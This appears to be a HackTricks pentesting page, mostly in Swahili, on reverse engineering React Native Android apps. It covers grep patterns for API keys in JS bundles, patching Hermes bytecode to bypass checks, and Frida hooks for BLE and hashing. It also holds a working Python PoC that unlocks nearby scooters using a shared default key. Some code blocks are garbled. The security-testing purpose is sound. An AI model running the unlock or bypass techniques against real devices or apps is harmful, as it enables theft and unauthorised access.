Uchambuzi wa Programu ya React Native
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ili kuthibitisha ikiwa programu ilijengwa kwa mfumo wa React Native, fuata hatua hizi:
-
Badilisha jina la faili ya APK kuwa na extension ya .zip na uitoe kwenye folda mpya kwa kutumia amri
cp com.example.apk example-apk.zipnaunzip -qq example-apk.zip -d ReactNative. -
Nenda kwenye folda mpya ReactNative na tafuta folda assets. Ndani ya folda hii, utapata faili
index.android.bundle, ambayo ina React JavaScript katika muundo uliobana (minified). -
Tumia amri
find . -print | grep -i ".bundle$"kutafuta faili ya JavaScript.
Note: Ikiwa umepewa Android App Bundle (.aab) badala ya APK, tengeneza kwanza universal APK kisha utoe bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript Code
Ikiwa ukitazama yaliyomo ya index.android.bundle utapata JavaScript code ya application (hata ikiwa minified), unaweza kuichambua ili kupata taarifa nyeti na udhaifu.
Kwa kuwa bundle ina kwa kweli yote JS code ya application, inawezekana kuigawa katika mafaili tofauti (hili linaweza kufanya reverse engineering kuwa rahisi) kwa kutumia tool react-native-decompiler.
Webpack
Ili kuchambua zaidi JavaScript code, unaweza kupakia faili hiyo kwa https://spaceraccoon.github.io/webpack-exploder/ au fuata hatua hizi:
- Tengeneza faili liitwalo
index.htmlkatika saraka ile ile na code ifuatayo:
<script src="./index.android.bundle"></script>
-
Fungua faili
index.htmlkatika Google Chrome. -
Fungua Developer Toolbar kwa kubonyeza Command+Option+J for OS X au Control+Shift+J for Windows.
-
Bonyeza “Sources” katika Developer Toolbar. Utapata faili ya JavaScript iliyogawanywa katika folda na faili, inayounda main bundle.
Ikiwa utapata faili inayoitwa index.android.bundle.map, utaweza kuchambua source code katika muundo wa unminified. Map files zina source mapping, ambayo inakuwezesha kurudisha minified identifiers.
To search for sensitive credentials and endpoints, follow these steps:
-
Tambua sensitive keywords ili kuchambua JavaScript code. React Native applications often use third-party services like Firebase, AWS S3 service endpoints, private keys, etc.
-
Katika kesi hii maalum, application ilionekana kutumia Dialogflow service. Tafuta pattern inayohusiana na configuration yake.
-
Ilikuwa bahati kwamba sensitive hard-coded credentials ziliwahi kupatikana katika JavaScript code wakati wa recon process.
Quick secrets/endpoint hunting in bundles
These simple greps often surface interesting indicators even in minified JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
Ikiwa unashuku Over-The-Air update frameworks, pia tafuta:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuration (
expo-updates,expo\.io, vyeti vya kusaini)
Badilisha JS code na ujenge upya
Katika kesi hii kubadilisha code ni rahisi. Unahitaji tu kubadilisha jina la app ili itumie extension .zip na kuifungua. Kisha unaweza kubadilisha JS code ndani ya bundle hii na kujenga app tena. Hii inapaswa kutosha kukuruhusu inject code katika app kwa madhumuni ya upimaji.
Hermes bytecode
Ikiwa bundle ina Hermes bytecode, hutakuwa na uwezo wa kupata Javascript code ya app (hata si kwenye toleo lililominified).
Unaweza kuangalia ikiwa bundle ina Hermes bytecode kwa kukimbiza amri ifuatayo:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
Walakini, unaweza kutumia zana hbctool, forks zilizosasishwa za hbctool zinazounga mkono matoleo mapya ya bytecode, hasmer, hermes_rs (Rust library/APIs), au hermes-dec ili disassemble the bytecode na pia decompile it to some pseudo JS code. Kwa mfano:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Vidokezo: Mradi wa Hermes wa chanzo wazi pia unakuja na zana za waendelezaji kama hbcdump kwenye releases maalum za Hermes. Ikiwa utajenga toleo la Hermes linalolingana lililotumika kutengeneza bundle, hbcdump inaweza ku-dump functions, string tables, na bytecode kwa uchambuzi wa kina.
Badilisha msimbo na ujengeneze upya (Hermes)
Kwa kawaida unapaswa kuwa na uwezo wa ku-badilisha disassembled code (kubadilisha comparison, au value au chochote unachohitaji kubadilisha) na kisha rebuild the bytecode na kujenga tena app.
- The original hbctool inaunga mkono disassembling ya bundle na kuijenga tena baada ya mabadiliko, lakini kihistoria iliunga mkono tu older bytecode versions. Forks zinazotunzwa na community zinaongeza support kwa Hermes versions mpya (ikiwa ni pamoja na mid-80s–96) na mara nyingi ndizo chaguo la vitendo zaidi kutengeneza patch kwa modern RN apps.
- Zana hermes-dec haiungi mkono rebuilding the bytecode (decompiler/disassembler tu), lakini ni msaada mkubwa kufuatilia logic na dump strings.
- Zana hasmer inalenga kusaidia disassembly na assembly kwa Hermes versions mbalimbali; assembling bado inaboreka lakini inafaa kujaribu kwenye recent bytecode.
Mtiririko wa kazi mdogo na assemblers zinazofanana na hbctool:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Note kwamba Hermes bytecode format imewekwa kwa toleo na assembler lazima iendane kabisa na on-disk format. Ikiwa unapata format errors, badilisha hadi fork/alternative iliyosasishwa au jenga upya matching Hermes tooling.
Uchambuzi wa wakati wa utekelezaji
Njia moja ya kuchunguza app kwa wakati wa utekelezaji ni kutumia Frida kuwezesha developer mode ya React app na kutumia react-native-debugger kuiunganisha. Hata hivyo, kwa hili unahitaji source code ya app kwa mujibu wa mambo. Unaweza kupata taarifa zaidi kuhusu hili kwenye https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.
Kuwezesha Dev Support katika release with Frida (caveats)
Baadhi ya apps kwa bahati huwasilisha classes zinazofanya Dev Support togglable. Iwapo zipo, unaweza kujaribu kulazimisha getUseDeveloperSupport() irudishe true:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Warning: Katika release builds zilizojengwa ipasavyo, DevSupportManagerImpl na madarasa yanayohusiana ya debug-only yanakatwa na kugeuza bendera hii kunaweza kusababisha app kuanguka au kutokuwa na athari. Wakati hili linapofanya kazi, kawaida unaweza kuonyesha dev menu na kuambatisha debuggers/inspectors.
Network interception in RN apps
React Native Android kwa kawaida inategemea OkHttp chini ya hood (kupitia module ya native Networking). Ili ku-intercept/kuangalia trafiki kwenye kifaa kisicho-rooted wakati wa dynamic tests:
- Tumia system proxy + trust user CA au tumia mbinu nyingine generic za Android TLS bypass.
- RN-specific tip: ikiwa app imejumuisha Flipper kwenye release kwa bahati mbaya (debug tooling), Flipper Network plugin inaweza kufichua requests/responses.
Kwa mbinu za generic za interception na pinning bypass za Android rejea:
Make APK Accept CA Certificate
Runtime GATT protocol discovery with Frida (Hermes-friendly)
Wakati Hermes bytecode inazuia uchunguzi rahisi wa static wa JS, hook Android BLE stack badala yake. android.bluetooth.BluetoothGatt na BluetoothGattCallback zinaonyesha kila kitu app inatuma/inapokea, zikikuwezesha kufanya reverse-engineering ya proprietary challenge-response na command frames bila chanzo cha JS.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest` ili kupata fingerprint ya hash-based handshakes na kukamata muunganiko sahihi wa input:
<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
Mtiririko halisi wa BLE uliofichuliwa kwa njia hii:
- Soma challenge kutoka
00002556-1212-efde-1523-785feabcd123. - Hesabu
response = SHA1(challenge || key)ambapo key ilikuwa default ya 20-byte ya 0xFF iliyopangwa kwenye vifaa vyote. - Andika response kwa
00002557-1212-efde-1523-785feabcd123, kisha tuma amri kwenye0000155f-1212-efde-1523-785feabcd123.
Mara baada ya kuthibitishwa, amri zilikuwa fremu za 10-byte kwa ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Mifano: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Notifications zilifika kwenye 0000155e-1212-efde-1523-785feabcd123 (2-byte registry + payload), na registry values ziliweza kupigwa kwa kuandika ID ya registry kwa 00001564-1212-efde-1523-785feabcd123 kisha kusoma tena kutoka ...155f....
Kwa key iliyoshirikiwa/default, challenge-response inavunjika. Mshambuliaji yeyote aliyeko karibu anaweza kuhesabu digest na kutuma amri zenye ruhusa za juu. PoC ndogo ya bleak:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Recent issues in popular RN libraries (what to look for)
Wakati ukifanya ukaguzi wa moduli za wahusika wa tatu zinazoonekana kwenye JS bundle au native libs, angalia vulns zinazojulikana na thibitisha toleo katika `package.json`/`yarn.lock`.
- react-native-mmkv (Android): versions prior to 2.11.0 logged the optional encryption key to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. Validate inputs and library version.
Quick checks:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
Marejeleo
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)
- hbctool (and forks) for Hermes assemble/disassemble
- Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


